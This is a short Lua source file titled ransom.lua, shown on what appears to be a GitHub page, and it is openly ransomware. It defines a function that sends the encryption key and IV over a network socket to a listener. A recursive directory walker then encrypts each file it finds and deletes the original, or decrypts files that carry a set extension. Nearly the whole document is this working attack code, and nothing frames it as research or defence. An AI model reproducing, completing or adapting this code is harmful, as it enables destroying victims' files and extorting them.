-
Notifications
You must be signed in to change notification settings - Fork 0
/
ransom.lua
63 lines (57 loc) · 1.74 KB
/
ransom.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
--[[
ransomlib:
bytes_str = hexa_to_bytes
hexa_str = bytes_to_hexa
netlib:
fd = connect
len = write(fd, string)
string = read(fd, length)
close(fd)
lsf:
file_iterator = dir(path)
--]]
-- setup ransomlib variables
-- send the keys in the network
-- do ransomware stuff
function Ransom(target, hkey, hiv)
ransomlib.key = ransomlib.hexa_to_bytes(hkey)
ransomlib.iv = ransomlib.hexa_to_bytes(hiv)
ransomlib.hkey = ransomlib.bytes_to_hexa(ransomlib.key)
ransomlib.hiv = ransomlib.bytes_to_hexa(ransomlib.iv)
print("target: "..target)
print("key : "..ransomlib.hkey)
print("iv : "..ransomlib.hiv)
print("ext : "..ransomlib.ext)
SendKey(ransomlib.hkey, ransomlib.hiv)
Walkdo(target)
end
function SendKey(hkey, hiv)
local ip, port = "127.0.0.1", 8080
local conn = netlib.connect(ip, port)
netlib.write(conn, hkey..":::"..hiv.."\n")
netlib.close(conn)
end
function Walkdo(path)
for file in lfs.dir(path) do
if file ~= "." and file ~= ".." then
local f = path..'/'..file
local attr = lfs.attributes (f)
if attr.mode == "directory" then
print("[DIR] "..f)
Walkdo(f)
else
-- if extension match then decrypt otherwise encrypt
if f:match("[^.]("..ransomlib.ext..")$") then
print("[DECRYPT] "..f)
ransomlib:decrypt(f)
os.remove(f)
else
print("[ENCRYPT] "..f)
ransomlib:encrypt(f)
os.remove(f)
end
end
end
end
end
print("[+] Lua code loaded")